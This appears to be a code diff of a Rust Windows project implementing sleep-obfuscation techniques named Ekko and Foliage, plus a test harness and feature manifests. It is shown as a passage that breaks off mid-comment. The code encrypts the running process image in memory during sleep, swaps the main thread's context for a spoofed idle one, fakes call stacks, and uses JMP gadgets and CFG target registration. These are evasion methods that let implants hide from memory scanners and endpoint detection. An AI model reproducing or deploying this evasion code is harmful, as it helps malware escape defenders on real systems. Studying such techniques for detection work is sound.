sleep-zilean = ["hypnus/sleep-zilean"]
|
||||
sleep-xor = ["hypnus/sleep-xor"]
|
||||
spoof-uwd = ["uwd/spoof-uwd", "api/spoof-uwd"]
|
||||
spoof-syscall = ["uwd/spoof-syscall"]
|
||||
debug-console = ["api/debug-console", "hypnus/debug-console"]
|
||||
debug-dbgprint = ["api/debug-dbgprint", "hypnus/debug-dbgprint"]
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
#![no_std]
|
||||
#![no_main]
|
||||
|
||||
use api::{api::Api, util::module_size, windows::NtCurrentPeb};
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
fn main() -> u8 {
|
||||
let mut api = Api::new();
|
||||
|
||||
unsafe {
|
||||
let peb = NtCurrentPeb();
|
||||
let base = (*peb).ImageBaseAddress as *mut u8;
|
||||
let size = module_size(base as usize) as usize;
|
||||
|
||||
api.sleep.buffer = base;
|
||||
api.sleep.length = size;
|
||||
api.sleep.dw_milliseconds = 5000;
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
api.build_spoof_configs();
|
||||
|
||||
api::log_info!(b"image base", base);
|
||||
api::log_info!(b"image size", size);
|
||||
|
||||
#[cfg(feature = "sleep-foliage")]
|
||||
{
|
||||
api::log_info!(b"=== starting foliage test (3 iterations, 5s each) ===");
|
||||
for _ in 0..3 {
|
||||
hypnus::foliage::foliage_with_fiber(&mut api);
|
||||
}
|
||||
api::log_info!(b"=== foliage test complete ===");
|
||||
}
|
||||
|
||||
#[cfg(feature = "sleep-ekko")]
|
||||
{
|
||||
api::log_info!(b"=== starting ekko test (3 iterations, 5s each) ===");
|
||||
for _ in 0..3 {
|
||||
hypnus::ekko::ekko_with_fiber(&mut api);
|
||||
}
|
||||
api::log_info!(b"=== ekko test complete ===");
|
||||
}
|
||||
|
||||
#[cfg(feature = "sleep-zilean")]
|
||||
{
|
||||
api::log_info!(b"=== starting zilean test (3 iterations, 5s each) ===");
|
||||
for _ in 0..3 {
|
||||
hypnus::zilean::zilean_with_fiber(&mut api);
|
||||
}
|
||||
api::log_info!(b"=== zilean test complete ===");
|
||||
}
|
||||
}
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
#[cfg(not(test))]
|
||||
#[panic_handler]
|
||||
fn panic(_info: &core::panic::PanicInfo) -> ! {
|
||||
loop {}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
[package]
|
||||
name = "hypnus"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[features]
|
||||
sleep-ekko = []
|
||||
sleep-foliage = []
|
||||
sleep-zilean = []
|
||||
sleep-xor = []
|
||||
spoof-uwd = []
|
||||
debug-console = ["api/debug-console"]
|
||||
debug-dbgprint = ["api/debug-dbgprint"]
|
||||
|
||||
[dependencies]
|
||||
api = { path = "../api" }
|
||||
ntdef = { path = "../ntdef" }
|
||||
uwd = { path = "../uwd" }
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,362 @@
|
||||
//! Timer-based sleep obfuscation using Windows thread pool timers.
|
||||
//!
|
||||
//! Ekko schedules the 10-step NtContinue context chain as staggered timer callbacks
|
||||
//! via `TpAllocTimer`/`TpSetTimer` on a single-threaded pool. Each timer fires a
|
||||
//! callback stub that calls `NtContinue` to load the next pre-built `CONTEXT`, driving
|
||||
//! the encrypt-sleep-decrypt sequence without any explicit control flow from our code.
|
||||
//!
|
||||
//! Uses 3 events: `capture_done`, `start`, and `done`.
|
||||
|
||||
use {
|
||||
crate::common::{
|
||||
alloc_callback, alloc_set_event_stub, alloc_trampoline, current_rsp, find_jmp_gadgets,
|
||||
init_spoof_config, jmp_ctx, set_valid_call_targets, spoof_context, spoof_stack_layout,
|
||||
SpoofKind,
|
||||
},
|
||||
api::{api::Api, windows::*, NT_SUCCESS},
|
||||
core::{ffi::c_void, mem::zeroed, ptr::null_mut},
|
||||
};
|
||||
|
||||
/// Register all NT function pointers used by Ekko as valid CFG call targets.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (must include ntdll handles).
|
||||
#[link_section = ".text$D"]
|
||||
#[rustfmt::skip]
|
||||
unsafe fn handle_cfg(api: &mut Api) {
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtCreateEvent_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocPool_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolStackInformation_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMinThreads_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMaxThreads_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.RtlCaptureContext_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocTimer_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetTimer_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetEvent_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtWaitForSingleObject_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtContinue_ptr as *mut c_void);
|
||||
}
|
||||
|
||||
/// Execute the Ekko sleep obfuscation chain using thread pool timers.
|
||||
///
|
||||
/// Sets up a single-threaded pool, captures the worker's context via a trampoline
|
||||
/// timer, clones it into 10 CONTEXTs for the encrypt-sleep-decrypt chain, applies
|
||||
/// JMP gadget indirection and stack spoofing, then schedules all 10 as staggered
|
||||
/// timer callbacks. The main thread blocks on `NtSignalAndWaitForSingleObject` until
|
||||
/// the chain completes.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers and sleep context (`api.sleep` must contain
|
||||
/// valid image base, length, and sleep duration).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All `Api` function pointers must be resolved. The caller must ensure the process
|
||||
/// image base/length in `api.sleep` are valid and that no other thread is modifying
|
||||
/// the image concurrently.
|
||||
#[link_section = ".text$D"]
|
||||
#[rustfmt::skip]
|
||||
unsafe fn ekko(api: &mut Api) {
|
||||
api::log_info!(b"[EKKO] ekko: enter");
|
||||
|
||||
handle_cfg(api);
|
||||
|
||||
let scfg = init_spoof_config(api);
|
||||
if scfg.is_none() {
|
||||
api::log_info!(b"[EKKO] init_spoof_config failed");
|
||||
return;
|
||||
}
|
||||
let scfg = scfg.unwrap();
|
||||
|
||||
let jmp_gadget = find_jmp_gadgets(api);
|
||||
if jmp_gadget.is_none() {
|
||||
api::log_info!(b"[EKKO] find_jmp_gadgets failed");
|
||||
return;
|
||||
}
|
||||
let jmp_gadget = jmp_gadget.unwrap();
|
||||
|
||||
let trampoline = alloc_trampoline(api);
|
||||
if trampoline.is_none() {
|
||||
api::log_info!(b"[EKKO] trampoline allocation failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let callback = alloc_callback(api);
|
||||
if callback.is_none() {
|
||||
api::log_info!(b"[EKKO] callback allocation failed");
|
||||
return;
|
||||
}
|
||||
|
||||
// events[0] = capture_done, events[1] = start, events[2] = done
|
||||
let mut events = [null_mut(); 3];
|
||||
for event in &mut events {
|
||||
let status = api.ntdll.NtCreateEvent(
|
||||
&mut *event, EVENT_ALL_ACCESS, null_mut(),
|
||||
EVENT_TYPE::NotificationEvent, 0,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] NtCreateEvent failed", status);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Create a single-threaded pool with 512KB stack
|
||||
let mut pool = null_mut();
|
||||
let status = api.ntdll.TpAllocPool(&mut pool, null_mut());
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] TpAllocPool failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut stack = TP_POOL_STACK_INFORMATION { StackCommit: 0x80000, StackReserve: 0x80000 };
|
||||
let status = api.ntdll.TpSetPoolStackInformation(pool, &mut stack);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] TpSetPoolStackInformation failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
api.ntdll.TpSetPoolMinThreads(pool, 1);
|
||||
api.ntdll.TpSetPoolMaxThreads(pool, 1);
|
||||
|
||||
let mut env = TP_CALLBACK_ENVIRON_V3 { Pool: pool, ..Default::default() };
|
||||
|
||||
// Schedule trampoline timer to capture worker thread context via RtlCaptureContext.
|
||||
// P1Home stores the RtlCaptureContext pointer; the trampoline stub reads it via jmp [rcx].
|
||||
let mut timer_ctx = null_mut();
|
||||
let mut ctx_init: CONTEXT = zeroed();
|
||||
ctx_init.ContextFlags = CONTEXT_FULL;
|
||||
ctx_init.P1Home = api.ntdll.RtlCaptureContext_ptr as u64;
|
||||
|
||||
let status = api.ntdll.TpAllocTimer(
|
||||
&mut timer_ctx,
|
||||
trampoline.unwrap() as *mut c_void,
|
||||
&mut ctx_init as *mut _ as *mut c_void,
|
||||
&mut env,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] TpAllocTimer [RtlCaptureContext] failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
// Fire trampoline at 100ms
|
||||
let mut delay = zeroed::<LARGE_INTEGER>();
|
||||
delay.QuadPart = -(100i64 * 10_000);
|
||||
api.ntdll.TpSetTimer(timer_ctx, &mut delay, 0, 0);
|
||||
|
||||
// Schedule set_event_stub timer to signal capture_done at 200ms
|
||||
let set_event_stub = alloc_set_event_stub(api);
|
||||
if set_event_stub.is_none() {
|
||||
api::log_info!(b"[EKKO] alloc_set_event_stub failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut timer_event = null_mut();
|
||||
let status = api.ntdll.TpAllocTimer(
|
||||
&mut timer_event, set_event_stub.unwrap() as *mut c_void, events[0], &mut env,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] TpAllocTimer [NtSetEvent] failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
delay.QuadPart = -(200i64 * 10_000);
|
||||
api.ntdll.TpSetTimer(timer_event, &mut delay, 0, 0);
|
||||
|
||||
// Block until the worker context is captured
|
||||
let status = api.ntdll.NtWaitForSingleObject(events[0], 0, null_mut());
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] NtWaitForSingleObject [capture] failed", status);
|
||||
}
|
||||
api::log_info!(b"[EKKO] context captured");
|
||||
|
||||
// Clone captured context into 10 copies; set Rax = NtContinue for each
|
||||
// and subtract 8 from Rsp to account for the callback stub's stack usage
|
||||
let mut ctxs = [ctx_init; 10];
|
||||
for ctx in &mut ctxs {
|
||||
ctx.Rax = api.ntdll.NtContinue_ptr as u64;
|
||||
ctx.Rsp -= 8;
|
||||
}
|
||||
|
||||
// Get a real handle to the current thread (fiber's underlying thread)
|
||||
// -1 = current process, -2 = current thread (pseudo-handles)
|
||||
let mut h_thread = null_mut();
|
||||
let status = api.ntdll.NtDuplicateObject(
|
||||
-1isize as HANDLE, -2isize as HANDLE, -1isize as HANDLE,
|
||||
&mut h_thread, 0, 0, DUPLICATE_SAME_ACCESS,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] NtDuplicateObject failed", status);
|
||||
}
|
||||
|
||||
// Build spoofed main-thread context (Rip = ZwWaitForWorkViaWorkerFactory)
|
||||
ctx_init.Rsp = current_rsp();
|
||||
let mut ctx_spoof = spoof_context(api, &scfg, ctx_init);
|
||||
|
||||
let mut base = api.sleep.buffer as PVOID;
|
||||
let mut size = api.sleep.length;
|
||||
let mut old_protect: DWORD = 0;
|
||||
let mut ctx_backup: CONTEXT = zeroed();
|
||||
ctx_backup.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
// Step 0: NtWaitForSingleObject(start_event) - gate until main signals
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[0], api.ntdll.NtWaitForSingleObject_ptr as u64);
|
||||
ctxs[0].Rcx = events[1] as u64;
|
||||
ctxs[0].Rdx = 0;
|
||||
ctxs[0].R8 = 0;
|
||||
|
||||
// Step 1: NtProtectVirtualMemory(RW) - make image writable
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[1], api.ntdll.NtProtectVirtualMemory_ptr as u64);
|
||||
ctxs[1].Rcx = -1isize as u64;
|
||||
ctxs[1].Rdx = &mut base as *mut _ as u64;
|
||||
ctxs[1].R8 = &mut size as *mut _ as u64;
|
||||
ctxs[1].R9 = PAGE_READWRITE as u64;
|
||||
|
||||
// Step 2: SystemFunction040 (RC4 encrypt) - encrypt image in-place
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[2], api.advapi.SystemFunction040_ptr as u64);
|
||||
ctxs[2].Rcx = api.sleep.buffer as u64;
|
||||
ctxs[2].Rdx = api.sleep.length as u64;
|
||||
ctxs[2].R8 = 0;
|
||||
|
||||
// Step 3: NtGetContextThread - save real main thread context to backup
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[3], api.ntdll.NtGetContextThread_ptr as u64);
|
||||
ctxs[3].Rcx = h_thread as u64;
|
||||
ctxs[3].Rdx = &mut ctx_backup as *mut _ as u64;
|
||||
|
||||
// Step 4: NtSetContextThread - replace main context with spoofed idle context
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[4], api.ntdll.NtSetContextThread_ptr as u64);
|
||||
ctxs[4].Rcx = h_thread as u64;
|
||||
ctxs[4].Rdx = &mut ctx_spoof as *mut _ as u64;
|
||||
|
||||
// Step 5: WaitForSingleObject(main_thread, sleep_ms) - THE ACTUAL SLEEP
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[5], api.kernel32.WaitForSingleObject_ptr as u64);
|
||||
ctxs[5].Rcx = h_thread as u64;
|
||||
ctxs[5].Rdx = api.sleep.dw_milliseconds as u64;
|
||||
ctxs[5].R8 = 0;
|
||||
|
||||
// Step 6: SystemFunction041 (RC4 decrypt) - decrypt image
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[6], api.advapi.SystemFunction041_ptr as u64);
|
||||
ctxs[6].Rcx = api.sleep.buffer as u64;
|
||||
ctxs[6].Rdx = api.sleep.length as u64;
|
||||
ctxs[6].R8 = 0;
|
||||
|
||||
// Step 7: NtProtectVirtualMemory(RX) - restore execute permission
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[7], api.ntdll.NtProtectVirtualMemory_ptr as u64);
|
||||
ctxs[7].Rcx = -1isize as u64;
|
||||
ctxs[7].Rdx = &mut base as *mut _ as u64;
|
||||
ctxs[7].R8 = &mut size as *mut _ as u64;
|
||||
ctxs[7].R9 = PAGE_EXECUTE_READ as u64;
|
||||
|
||||
// Step 8: NtSetContextThread - restore real main thread context from backup
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[8], api.ntdll.NtSetContextThread_ptr as u64);
|
||||
ctxs[8].Rcx = h_thread as u64;
|
||||
ctxs[8].Rdx = &mut ctx_backup as *mut _ as u64;
|
||||
|
||||
// Step 9: NtSetEvent(done_event) - signal chain completion
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[9], api.ntdll.NtSetEvent_ptr as u64);
|
||||
ctxs[9].Rcx = events[2] as u64;
|
||||
ctxs[9].Rdx = 0;
|
||||
|
||||
// Apply fake stack layout to all 10 contexts (spoofed return address chain)
|
||||
spoof_stack_layout(api, &mut ctxs, &scfg, SpoofKind::Timer);
|
||||
|
||||
// Patch 5th argument (&old_protect) at RSP+0x28 for NtProtectVirtualMemory calls
|
||||
// (steps 1 and 7 have 5 parameters; x64 calling convention puts the 5th on the stack)
|
||||
((ctxs[1].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64);
|
||||
((ctxs[7].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64);
|
||||
|
||||
// Schedule all 10 chain steps as staggered timer callbacks (100ms apart)
|
||||
api::log_info!(b"[EKKO] scheduling 10 timer callbacks");
|
||||
for ctx in &mut ctxs {
|
||||
let mut timer = null_mut();
|
||||
let status = api.ntdll.TpAllocTimer(
|
||||
&mut timer,
|
||||
callback.unwrap() as *mut c_void,
|
||||
ctx as *mut _ as *mut c_void,
|
||||
&mut env,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[EKKO] TpAllocTimer [chain] failed", status);
|
||||
return;
|
||||
}
|
||||
delay.QuadPart += -(100i64 * 10_000);
|
||||
api.ntdll.TpSetTimer(timer, &mut delay, 0, 0);
|
||||
}
|
||||
|
||||
// Signal start_event (unblocks step 0) and wait for done_event (step 9 signals it)
|
||||
api::log_info!(b"[EKKO] signaling chain start, waiting for completion");
|
||||
api.ntdll.NtSignalAndWaitForSingleObject(events[1], events[2], 0, null_mut());
|
||||
|
||||
api::log_info!(b"[EKKO] chain complete, cleaning up");
|
||||
api.ntdll.NtClose(h_thread);
|
||||
for e in &events {
|
||||
api.ntdll.NtClose(*e);
|
||||
}
|
||||
api::log_info!(b"[EKKO] ekko done");
|
||||
}
|
||||
|
||||
/// Fiber context passed to [`ekko_fiber`] - holds the API pointer and master fiber handle.
|
||||
struct FiberContext {
|
||||
api: *mut Api,
|
||||
master: PVOID,
|
||||
}
|
||||
|
||||
/// Fiber entry point that runs [`ekko`] on an isolated 1MB stack, then switches
|
||||
/// back to the master fiber.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `param` - Pointer to a [`FiberContext`] containing the `Api` pointer and master fiber handle.
|
||||
unsafe extern "system" fn ekko_fiber(param: PVOID) {
|
||||
let ctx = param as *mut FiberContext;
|
||||
ekko(&mut *(*ctx).api);
|
||||
let switch: FnSwitchToFiber = core::mem::transmute((*(*ctx).api).kernel32.SwitchToFiber_ptr);
|
||||
switch((*ctx).master);
|
||||
}
|
||||
|
||||
/// Run the Ekko sleep obfuscation chain inside a dedicated fiber.
|
||||
///
|
||||
/// Converts the current thread to a fiber, creates a new fiber with a 1MB stack,
|
||||
/// executes [`ekko`] on it, then cleans up and converts back to a normal thread.
|
||||
/// The fiber provides an isolated stack so the chain's stack pointer manipulation
|
||||
/// does not corrupt the caller's real stack.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (must include kernel32 fiber functions and
|
||||
/// all ntdll/advapi functions used by [`ekko`]).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All `Api` function pointers must be resolved. Must be called from a thread that
|
||||
/// has not already been converted to a fiber.
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe fn ekko_with_fiber(api: &mut Api) {
|
||||
let master = api.kernel32.ConvertThreadToFiber(null_mut());
|
||||
if master.is_null() {
|
||||
api::log_info!(b"[EKKO] ConvertThreadToFiber failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut fiber_ctx = FiberContext {
|
||||
api: api as *mut Api,
|
||||
master,
|
||||
};
|
||||
|
||||
let fiber = api.kernel32.CreateFiber(
|
||||
0x100000,
|
||||
Some(ekko_fiber),
|
||||
&mut fiber_ctx as *mut _ as PVOID,
|
||||
);
|
||||
|
||||
if fiber.is_null() {
|
||||
api::log_info!(b"[EKKO] CreateFiber failed");
|
||||
api.kernel32.ConvertFiberToThread();
|
||||
return;
|
||||
}
|
||||
|
||||
api.kernel32.SwitchToFiber(fiber);
|
||||
api.kernel32.DeleteFiber(fiber);
|
||||
api.kernel32.ConvertFiberToThread();
|
||||
}
|
||||
@@ -0,0 +1,309 @@
|
||||
//! APC-based sleep obfuscation using a dedicated suspended thread.
|
||||
//!
|
||||
//! Foliage queues the 10-step NtContinue context chain as APCs on a suspended thread
|
||||
//! via `NtQueueApcThread`. When `NtAlertResumeThread` is called, the thread wakes in
|
||||
//! an alertable state and executes all queued APCs in FIFO order - no timing required.
|
||||
//!
|
||||
//! Unlike Ekko/Zilean, Foliage does not use a thread pool. The APC thread terminates
|
||||
//! itself via `RtlExitUserThread` in step 9 instead of signaling an event.
|
||||
//! Uses only 1 event for synchronization.
|
||||
|
||||
use {
|
||||
crate::common::{
|
||||
current_rsp, find_jmp_gadgets, init_spoof_config, jmp_ctx, set_valid_call_targets,
|
||||
spoof_context, spoof_stack_layout, SpoofKind,
|
||||
},
|
||||
api::{api::Api, windows::*, NT_SUCCESS},
|
||||
core::{ffi::c_void, mem::zeroed, ptr::null_mut},
|
||||
};
|
||||
|
||||
/// Register all NT function pointers used by Foliage as valid CFG call targets.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers (must include ntdll handles).
|
||||
#[link_section = ".text$D"]
|
||||
#[rustfmt::skip]
|
||||
unsafe fn handle_cfg(api: &mut Api) {
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtContinue_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtWaitForSingleObject_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtProtectVirtualMemory_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtGetContextThread_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetContextThread_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetEvent_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtQueueApcThread_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtCreateThreadEx_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtAlertResumeThread_ptr as *mut c_void);
|
||||
set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.RtlExitUserThread_ptr as *mut c_void);
|
||||
}
|
||||
|
||||
/// Execute the Foliage sleep obfuscation chain using APC queuing.
|
||||
///
|
||||
/// Creates a suspended thread, queues 10 NtContinue-based APCs for the
|
||||
/// encrypt-sleep-decrypt chain, then resumes the thread so APCs fire in FIFO
|
||||
/// order. The main thread blocks on `NtSignalAndWaitForSingleObject` until the
|
||||
/// APC thread exits.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API function pointers and sleep context (`api.sleep` must contain
|
||||
/// valid image base, length, and sleep duration).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// All `Api` function pointers must be resolved. The caller must ensure the process
|
||||
/// image base/length in `api.sleep` are valid and that no other thread is modifying
|
||||
/// the image concurrently.
|
||||
#[link_section = ".text$D"]
|
||||
#[rustfmt::skip]
|
||||
unsafe fn foliage(api: &mut Api) {
|
||||
api::log_info!(b"[FOLIAGE] foliage: enter");
|
||||
|
||||
handle_cfg(api);
|
||||
|
||||
let scfg = init_spoof_config(api);
|
||||
if scfg.is_none() {
|
||||
api::log_info!(b"[FOLIAGE] init_spoof_config failed");
|
||||
return;
|
||||
}
|
||||
let scfg = scfg.unwrap();
|
||||
|
||||
let jmp_gadget = find_jmp_gadgets(api);
|
||||
if jmp_gadget.is_none() {
|
||||
api::log_info!(b"[FOLIAGE] find_jmp_gadgets failed");
|
||||
return;
|
||||
}
|
||||
let jmp_gadget = jmp_gadget.unwrap();
|
||||
|
||||
let mut event = null_mut();
|
||||
let status = api.ntdll.NtCreateEvent(
|
||||
&mut event, EVENT_ALL_ACCESS, null_mut(),
|
||||
EVENT_TYPE::SynchronizationEvent, 0,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[FOLIAGE] NtCreateEvent failed", status);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create a suspended thread. Start address is a safe stub (TpReleaseCleanupGroup+0x250)
|
||||
// so if the thread wakes unexpectedly it won't crash. Flag 1 = CREATE_SUSPENDED.
|
||||
let mut h_thread = null_mut();
|
||||
let status = api.ntdll.NtCreateThreadEx(
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
null_mut(),
|
||||
-1isize as HANDLE,
|
||||
(api.ntdll.TpReleaseCleanupGroup_ptr as *mut c_void).add(0x250),
|
||||
null_mut(),
|
||||
1,
|
||||
0,
|
||||
0x1000 * 20,
|
||||
0x1000 * 20,
|
||||
null_mut(),
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[FOLIAGE] NtCreateThreadEx failed", status);
|
||||
api.ntdll.NtClose(event);
|
||||
return;
|
||||
}
|
||||
api::log_info!(b"[FOLIAGE] suspended thread created");
|
||||
|
||||
// Capture the suspended thread's initial context
|
||||
let mut ctx_init: CONTEXT = zeroed();
|
||||
ctx_init.ContextFlags = CONTEXT_FULL;
|
||||
let status = api.ntdll.NtGetContextThread(h_thread, &mut ctx_init);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[FOLIAGE] NtGetContextThread failed", status);
|
||||
api.ntdll.NtClose(h_thread);
|
||||
api.ntdll.NtClose(event);
|
||||
return;
|
||||
}
|
||||
api::log_info!(b"[FOLIAGE] thread context captured");
|
||||
|
||||
let mut ctxs = [ctx_init; 10];
|
||||
|
||||
// Get a real handle to the current (main) thread
|
||||
let mut thread = null_mut();
|
||||
let status = api.ntdll.NtDuplicateObject(
|
||||
-1isize as HANDLE,
|
||||
-2isize as HANDLE,
|
||||
-1isize as HANDLE,
|
||||
&mut thread,
|
||||
0, 0,
|
||||
DUPLICATE_SAME_ACCESS,
|
||||
);
|
||||
if !NT_SUCCESS!(status) {
|
||||
api::log_info!(b"[FOLIAGE] NtDuplicateObject failed", status);
|
||||
}
|
||||
|
||||
// Build spoofed main-thread context (Rip = ZwWaitForWorkViaWorkerFactory)
|
||||
ctx_init.Rsp = current_rsp();
|
||||
let mut ctx_spoof = spoof_context(api, &scfg, ctx_init);
|
||||
|
||||
let mut base = api.sleep.buffer as PVOID;
|
||||
let mut size = api.sleep.length;
|
||||
let mut old_protect: DWORD = 0;
|
||||
let mut ctx_backup: CONTEXT = zeroed();
|
||||
ctx_backup.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
// Step 0: NtWaitForSingleObject(event) - gate until main signals
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[0], api.ntdll.NtWaitForSingleObject_ptr as u64);
|
||||
ctxs[0].Rcx = event as u64;
|
||||
ctxs[0].Rdx = 0;
|
||||
ctxs[0].R8 = 0;
|
||||
|
||||
// Step 1: NtProtectVirtualMemory(RW) - make image writable
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[1], api.ntdll.NtProtectVirtualMemory_ptr as u64);
|
||||
ctxs[1].Rcx = -1isize as u64;
|
||||
ctxs[1].Rdx = &mut base as *mut _ as u64;
|
||||
ctxs[1].R8 = &mut size as *mut _ as u64;
|
||||
ctxs[1].R9 = PAGE_READWRITE as u64;
|
||||
|
||||
// Step 2: SystemFunction040 (RC4 encrypt) - encrypt image in-place
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[2], api.advapi.SystemFunction040_ptr as u64);
|
||||
ctxs[2].Rcx = api.sleep.buffer as u64;
|
||||
ctxs[2].Rdx = api.sleep.length as u64;
|
||||
ctxs[2].R8 = 0;
|
||||
|
||||
// Step 3: NtGetContextThread - save real main thread context to backup
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[3], api.ntdll.NtGetContextThread_ptr as u64);
|
||||
ctxs[3].Rcx = thread as u64;
|
||||
ctxs[3].Rdx = &mut ctx_backup as *mut _ as u64;
|
||||
|
||||
// Step 4: NtSetContextThread - replace main context with spoofed idle context
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[4], api.ntdll.NtSetContextThread_ptr as u64);
|
||||
ctxs[4].Rcx = thread as u64;
|
||||
ctxs[4].Rdx = &mut ctx_spoof as *mut _ as u64;
|
||||
|
||||
// Step 5: WaitForSingleObject(main_thread, sleep_ms) - THE ACTUAL SLEEP
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[5], api.kernel32.WaitForSingleObject_ptr as u64);
|
||||
ctxs[5].Rcx = thread as u64;
|
||||
ctxs[5].Rdx = api.sleep.dw_milliseconds as u64;
|
||||
|
||||
// Step 6: SystemFunction041 (RC4 decrypt) - decrypt image
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[6], api.advapi.SystemFunction041_ptr as u64);
|
||||
ctxs[6].Rcx = api.sleep.buffer as u64;
|
||||
ctxs[6].Rdx = api.sleep.length as u64;
|
||||
ctxs[6].R8 = 0;
|
||||
|
||||
// Step 7: NtProtectVirtualMemory(RX) - restore execute permission
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[7], api.ntdll.NtProtectVirtualMemory_ptr as u64);
|
||||
ctxs[7].Rcx = -1isize as u64;
|
||||
ctxs[7].Rdx = &mut base as *mut _ as u64;
|
||||
ctxs[7].R8 = &mut size as *mut _ as u64;
|
||||
ctxs[7].R9 = PAGE_EXECUTE_READ as u64;
|
||||
|
||||
// Step 8: NtSetContextThread - restore real main thread context from backup
|
||||
jmp_ctx(&jmp_gadget, &mut ctxs[8], api.ntdll.NtSetContextThread_ptr as u64);
|
||||
ctxs[8].Rcx = thread as u64;
|
||||
ctxs[8].Rdx = &mut ctx_backup as *mut _ as u64;
|
||||
|
||||
// Step 9: RtlExitUserThread(0) - terminate the APC thread cleanly.
|
||||
// Uses DIRECT Rip (no jmp gadget) because this is the final step and the
|
||||
